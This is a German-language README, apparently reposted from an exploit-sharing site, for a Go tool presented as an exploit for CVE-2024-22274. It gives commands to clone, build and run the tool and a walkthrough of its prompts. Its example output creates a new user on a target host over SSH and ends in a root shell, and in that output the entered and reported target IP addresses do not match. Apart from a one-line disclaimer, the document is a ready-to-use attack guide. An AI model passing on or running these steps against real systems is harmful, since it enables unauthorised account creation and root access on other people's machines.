CVE-2024-22274-Exploit

Dieses Repository enthält einen Exploit für CVE-2024-22274. Der Exploit erstellt einen neuen Benutzer auf einem entfernten Rechner über SSH und stellt anschließend eine Root-Shell bereit.

Voraussetzungen

• Go (Golang) muss auf deinem Rechner installiert sein. Du kannst es von hier herunterladen.
• Ein entfernter Rechner mit SSH-Zugang.

Kompilierung

1. Klone das Repository:

   root@kitploit:~

   git clone https://github.com/Mustafa1986/CVE-2024-22274-RCE.git
   cd CVE-2024-22274-RCE
   

2. Installiere die erforderlichen Pakete:

   root@kitploit:~

   go mod init cve-2024-22274
   go mod tidy
   go get golang.org/x/crypto/ssh
   go get golang.org/x/term
   

3. Kompiliere das Go-Programm:

   root@kitploit:~

   go build -o cve-2024-22274-rce main.go
   

Verwendung

1. Führe das kompilierte Programm aus:

   root@kitploit:~

   ./cve-2024-22274-rce
   

2. Folge den Eingabeaufforderungen:

   • Gib die Host-Adresse des Zielrechners ein.
   • Gib den SSH-Port ein (Standard ist 22).
   • Gib den SSH-Benutzernamen des Zielrechners ein.
   • Gib das SSH-Passwort des Zielrechners ein.
   • Gib den neuen Benutzernamen ein, den du erstellen möchtest.
   • Gib das neue Passwort für den neuen Benutzer ein.

3. Nachdem der Benutzer erstellt wurde, erhältst du eine Root-Shell auf dem Zielrechner. Du kannst Befehle als neuer Benutzer ausführen.

Beispiel

[+] CVE-2024-22274 by Mustafa
[-] Enter host address: 192.168.0.100
[-] Enter port (default 22): 22
[-] Enter SSH username: root
[-] Enter SSH password: ********
[-] Enter new username: newuser
[-] Enter new password: ********
[+] Connected to 192.168.1.100 via SSH
[+] Created user newuser on 192.168.1.100
[+] Connected user newuser via SSH
[+] Root-shell# (type 'exit' to quit): 

Haftungsausschluss Dieser Code dient ausschließlich zu Bildungszwecken. Verwende ihn verantwortungsbewusst und nur auf Systemen, für die du eine Testberechtigung hast.

Lizenz Dieses Projekt ist unter der MIT-Lizenz lizenziert – weitere Details findest du in der LICENSE-Datei.